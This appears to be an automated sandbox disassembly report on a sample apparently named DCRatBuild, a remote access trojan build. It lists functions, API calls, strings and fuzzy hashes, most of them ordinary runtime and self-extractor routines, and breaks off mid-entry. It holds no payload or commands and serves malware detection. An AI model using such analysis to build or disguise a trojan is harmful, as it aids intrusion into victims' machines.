API String ID: 1324828854-0
Opcode ID: 468ffe935973984c0b9b64aa30ba19baa21313ab860b86d317b1b7ad3249e587
Instruction ID: ff0f68f70660ecd43581cc70ffff6b5f98b60b117d2e736192b7c21271e9359d
Opcode Fuzzy Hash: 468ffe935973984c0b9b64aa30ba19baa21313ab860b86d317b1b7ad3249e587
Instruction Fuzzy Hash: 4051B2B19002099FCB10CFA8DC85AEEBBF5EF09300F14416BE955E7251D774AA45CBA8

Function 004ACE87 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 004ACE9D

Part of subcall function 0049B690: _wcslen.LIBCMT ref: 0049B696

_swprintf.LIBCMT ref: 004ACED1

Part of subcall function 00494092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 004940A5

SetDlgItemTextW.USER32(?,00000066,004D946A), ref: 004ACEF1
_wcschr.LIBVCRUNTIME ref: 004ACF22
EndDialog.USER32(?,00000001), ref: 004ACFFE

Strings

%s%s%u, xrefs: 004ACEC6

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr_wcslen
String ID: %s%s%u
API String ID: 689974011-1360425832
Opcode ID: 0851c8ce286548b785c705ab9c79914900653a676e24da9267683a4731048431
Instruction ID: 36762bf8bc4e73716b2d9f5e49f541feb4dbbc1c53ec3282e97824ab32344306
Opcode Fuzzy Hash: 0851c8ce286548b785c705ab9c79914900653a676e24da9267683a4731048431
Instruction Fuzzy Hash: 2F41A3B1800258AADF609B50CC85EEF77BCEB16304F4084A7F90AE7141EE789E44CF69

Function 004B2900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 004B2937
___except_validate_context_record.LIBVCRUNTIME ref: 004B293F
_ValidateLocalCookies.LIBCMT ref: 004B29C8
__IsNonwritableInCurrentImage.LIBCMT ref: 004B29F3
_ValidateLocalCookies.LIBCMT ref: 004B2A48

Strings

csm, xrefs: 004B29DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 7d69c304e5c5c9833d6333eee2bf8fe83eb7f2d3b050d39c055f15a30a26c9bb
Instruction ID: 124f261dd3b4069605fcd70fc5f3d18a0fc6e2617b53afac153aafba1ea4a10e
Opcode Fuzzy Hash: 7d69c304e5c5c9833d6333eee2bf8fe83eb7f2d3b050d39c055f15a30a26c9bb
Instruction Fuzzy Hash: 4D41E774A00208AFCF10DF29C881ADE7BB0EF05314F14815BE818AB352D7B99A15CBB5

Function 004A9955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004A995E
_wcslen.LIBCMT ref: 004A9993

Strings

<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 004A9987
 , xrefs: 004A9A21
<br>, xrefs: 004A99DF
, xrefs: 004A99B0

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: d69b6f48ea556585adf3ed8632a87830c3c4b94a1553d6ef0b95dfbb535d9706
Instruction ID: cd389d40c7c7b3b9172f876f2a818b2b880bd8a25c4aa3112380dc61e6ab0c13
Opcode Fuzzy Hash: d69b6f48ea556585adf3ed8632a87830c3c4b94a1553d6ef0b95dfbb535d9706
Instruction Fuzzy Hash: 55315E7664438566EA30AF559C42BB773A4EBA1320F60442FF48657380FB6CAD4183AD

Function 004BC8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004BC868: _free.LIBCMT ref: 004BC891

_free.LIBCMT ref: 004BC8F2

Part of subcall function 004B8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,004BC896,?,00000000,?,00000000,?,004BC8BD,?,00000007,?,?,004BCCBA,?), ref: 004B8DE2
Part of subcall function 004B8DCC: GetLastError.KERNEL32(?,?,004BC896,?,00000000,?,00000000,?,004BC8BD,?,00000007,?,?,004BCCBA,?,?), ref: 004B8DF4

_free.LIBCMT ref: 004BC8FD
_free.LIBCMT ref: 004BC908
_free.LIBCMT ref: 004BC95C
_free.LIBCMT ref: 004BC967
_free.LIBCMT ref: 004BC972
_free.LIBCMT ref: 004BC97D

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: efe652c1a4ff1327f34c2bc7492a6ab9494f38def2c60607625e65fac1c25c1e
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: C2111271580704A6E520B772DC87FCB7BAC9F14B09F404C2FB29D66192DA69B505CB74

Function 004AE5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,004AE669,004AE5CC,004AE86D), ref: 004AE605
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 004AE61B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 004AE630

Strings

ReleaseSRWLockExclusive, xrefs: 004AE625
KERNEL32.DLL, xrefs: 004AE600
AcquireSRWLockExclusive, xrefs: 004AE615

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 06846636046100ea72c11598e2372c2a37e6e4a285c48a1d323e79bf4956cb53
Instruction ID: 9a4973dcee7733638f6093c525d6cbdb18b70124be646fcd22b29402c28daf77
Opcode Fuzzy Hash: 06846636046100ea72c11598e2372c2a37e6e4a285c48a1d323e79bf4956cb53
Instruction Fuzzy Hash: D0F0C232781662DB4B614E675C84BBB32C86A3B7453504C3BDA21D3310EB2DCC52ABAD

Function 004B8900 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004B891E

Part of subcall function 004B8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,004BC896,?,00000000,?,00000000,?,004BC8BD,?,00000007,?,?,004BCCBA,?), ref: 004B8DE2
Part of subcall function 004B8DCC: GetLastError.KERNEL32(?,?,004BC896,?,00000000,?,00000000,?,004BC8BD,?,00000007,?,?,004BCCBA,?,?), ref: 004B8DF4

_free.LIBCMT ref: 004B8930
_free.LIBCMT ref: 004B8943
_free.LIBCMT ref: 004B8954
_free.LIBCMT ref: 004B8965

Strings

pL, xrefs: 004B8914

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: pL
API String ID: 776569668-1374626527
Opcode ID: cebfdcee971c99061597f04a282ef12f3da56292117425e1a76ae977583b4620
Instruction ID: fc157c8cd96dd8fc5868d5cd073763413b5bf080556de608b529f733c55157c0
Opcode Fuzzy Hash: cebfdcee971c99061597f04a282ef12f3da56292117425e1a76ae977583b4620
Instruction Fuzzy Hash: 4BF03A718101228BCA466F15FE028E63BA9F724718381056FF114922B1CBBA4961DFAD

Function 004A146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 004A14C2

Part of subcall function 0049B146: GetVersionExW.KERNEL32(?), ref: 0049B16B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 004A14E6
FileTimeToSystemTime.KERNEL32(?,?), ref: 004A1500
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 004A1513
SystemTimeToFileTime.KERNEL32(?,?), ref: 004A1523
SystemTimeToFileTime.KERNEL32(?,?), ref: 004A1533

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 678ca0bb1a8599df4d6d1bcb22317f3eacea4a2395659d91d3360e81da90463c
Instruction ID: bcb2db4f0102a5356e032e5affee43b44dd3344e34e49ea07fb263025f1dfbde
Opcode Fuzzy Hash: 678ca0bb1a8599df4d6d1bcb22317f3eacea4a2395659d91d3360e81da90463c
Instruction Fuzzy Hash: 1031F775108315AFC700DFA8C88499BBBE8BF98754F048A2EF995C3210E734D509CBAA

Function 004B2AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,004B2AF1,004B02FC,004AFA34), ref: 004B2B08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004B2B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004B2B2F
SetLastError.KERNEL32(00000000,004B2AF1,004B02FC,004AFA34), ref: 004B2B81

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f417a97678815749b550eb240b96f98b93c423724c6b306f8b93179635ac692e
Instruction ID: c9fbc67616743b411af1bc528bcd1bd268e72b4c40eeabc1852fa8bafbd3e43b
Opcode Fuzzy Hash: f417a97678815749b550eb240b96f98b93c423724c6b306f8b93179635ac692e
Instruction Fuzzy Hash: A101243220D3112EAA542F777C89DE72B58EB0177AB60073FF010451F0EF99AE00916C

Function 004B97E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,004D1030,004B4674,004D1030,?,?,004B3F73,00000050,?,004D1030,00000200), ref: 004B97E9
_free.LIBCMT ref: 004B981C
_free.LIBCMT ref: 004B9844
SetLastError.KERNEL32(00000000,?,004D1030,00000200), ref: 004B9851
SetLastError.KERNEL32(00000000,?,004D1030,00000200), ref: 004B985D
_abort.LIBCMT ref: 004B9863

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 4cd85ed6ee29d111f2d55b32e7d2a5657e9f20ba5869c79f10d269f9b5e3b589
Instruction ID: 2106faaecfc57660f7bdc0d0eb2491778d76870c775223dbd99c199315b9bae0
Opcode Fuzzy Hash: 4cd85ed6ee29d111f2d55b32e7d2a5657e9f20ba5869c79f10d269f9b5e3b589
Instruction Fuzzy Hash: 87F0A43615460166C6923736AC4AFEB2A698FD2769F25013FF71492292EF2CCC06857D

Function 004ADC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 004ADC47
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004ADC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004ADC72
TranslateMessage.USER32(?), ref: 004ADC7C
DispatchMessageW.USER32(?), ref: 004ADC86
WaitForSingleObject.KERNEL32(?,0000000A), ref: 004ADC91

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: b4d5a8bd2df11f069821cde4f3a15feba694b6cb86d2feca6302d1d8d627df76
Instruction ID: bbba61a3d6380eea0937b856809c06dcd0571476c472fcb6a41a7da876738180
Opcode Fuzzy Hash: b4d5a8bd2df11f069821cde4f3a15feba694b6cb86d2feca6302d1d8d627df76
Instruction Fuzzy Hash: DDF08C32A00219BBCB206FA1DC0CDDF7F7CEF527A2B004022B50AD2014DA389656C7A4

Function 004AA80C Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 004AA699: GetDC.USER32(00000000), ref: 004AA69D
Part of subcall function 004AA699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 004AA6A8
Part of subcall function 004AA699: ReleaseDC.USER32(00000000,00000000), ref: 004AA6B3

GetObjectW.GDI32(?,00000018,?), ref: 004AA83C

Part of subcall function 004AAAC9: GetDC.USER32(00000000), ref: 004AAAD2
Part of subcall function 004AAAC9: GetObjectW.GDI32(?,00000018,?), ref: 004AAB01
Part of subcall function 004AAAC9: ReleaseDC.USER32(00000000,?), ref: 004AAB99

Strings

AJ, xrefs: 004AA9BA
"J, xrefs: 004AA89D, 004AAAB9
(, xrefs: 004AA9AA

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: "J$($AJ
API String ID: 1061551593-3844905542
Opcode ID: 99445b0f6c5bf7d515c2b41debf66fb0c6b962cc21e6f4dc040b55795bf635f7
Instruction ID: 02034e16a13b06e9a7bc230c6e08260b9e88f0ec03dcb27a708b34f13a37e548
Opcode Fuzzy Hash: 99445b0f6c5bf7d515c2b41debf66fb0c6b962cc21e6f4dc040b55795bf635f7
Instruction Fuzzy Hash: 0F91F171208341AFD650DF25C844E2BBBE8FFDA701F00496EF59AD3220DB34A956CB66

Function 0049C0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 004A05DA: _wcslen.LIBCMT ref: 004A05E0

Part of subcall function 0049B92D: _wcsrchr.LIBVCRUNTIME ref: 0049B944

_wcslen.LIBCMT ref: 0049C197
_wcslen.LIBCMT ref: 0049C1DF

Strings

.rar, xrefs: 0049C0E1, 0049C134
.sfx, xrefs: 0049C11A
.exe, xrefs: 0049C10B

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 3ab8c45ac047dbdd4de0250acf56aa7e82ed652d579e7a6c5d19fdb0240ef471
Instruction ID: c64ba0faa899ea13d4052da206dccb1bdd2506f458e736acc0836ec5285ae63f
Opcode Fuzzy Hash: 3ab8c45ac047dbdd4de0250acf56aa7e82ed652d579e7a6c5d19fdb0240ef471
Instruction Fuzzy Hash: 874159255403119ADF31AF749882A7B7BA8EF55748F20892FF8C16B281EB6C4D81C39D

Function 0049BB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0049BB27
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,0049A275,?,?,00000800,?,0049A23A,?,0049755C), ref: 0049BBC5
_wcslen.LIBCMT ref: 0049BC3B

Strings

\\?\, xrefs: 0049BB52, 0049BB99, 0049BBF7, 0049BC4E
UNC, xrefs: 0049BBA7

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: bd86a818bdc60faafb67cef11080740463e58507e340229978bb5469166f7b21
Instruction ID: 2b71f5386379a7950851833acb380c88866a01f0e15a6fdd5b0a315f95a20b79
Opcode Fuzzy Hash: bd86a818bdc60faafb67cef11080740463e58507e340229978bb5469166f7b21
Instruction Fuzzy Hash: 5341C531400215B6DF21AF61EE01EEB7B68EF41355F10853FF954A3251DB78DE908AE8

Function 004ACD58 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 004ACD84

Part of subcall function 004AAF98: _wcschr.LIBVCRUNTIME ref: 004AB033

Part of subcall function 004A1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0049C116,00000000,.exe,?,?,00000800,?,?,?,004A8E3C), ref: 004A1FD1

Strings

MAX, xrefs: 004ACDD9
<, xrefs: 004ACD68
MIN, xrefs: 004ACDF5
HIDE, xrefs: 004ACDC6

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcschr$CompareString
String ID: <$HIDE$MAX$MIN
API String ID: 69343711-3358265660
Opcode ID: 1fa21b53e627b41444e14099671cc69397ad8fc2c93e559c5975aaf795d808ad
Instruction ID: 1febcf4f52f2a033c21b50d7bba3d8d67062512f591685ab9f4f1e216f4bcfd8
Opcode Fuzzy Hash: 1fa21b53e627b41444e14099671cc69397ad8fc2c93e559c5975aaf795d808ad
Instruction Fuzzy Hash: E53166759002599EDF25CB51CC41EEF73B8AB26354F004567F906E7180EBB89A848F95

Function 004AAAC9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004AAAD2
GetObjectW.GDI32(?,00000018,?), ref: 004AAB01
ReleaseDC.USER32(00000000,?), ref: 004AAB99

Strings

-J, xrefs: 004AAB32, 004AAB3F, 004AAB73, 004AAB7F
7J, xrefs: 004AAB67

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ObjectRelease
String ID: -J$7J
API String ID: 1429681911-3530780739
Opcode ID: 06dd1c43c39d516e28dfdfecbcf73a70ee1480bc39125d8e625d46a2a97376db
Instruction ID: 5e7da809d03db3f100890407c6f67cc107d2ce8034d33e0f5e7f8a244f6e31b3
Opcode Fuzzy Hash: 06dd1c43c39d516e28dfdfecbcf73a70ee1480bc39125d8e625d46a2a97376db
Instruction Fuzzy Hash: D521FF72108304BFD3019FA5DC48D7FBFE9FB89356F04042AFA4592124DB319A64CB6A

Function 0049B991 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0049B9B8

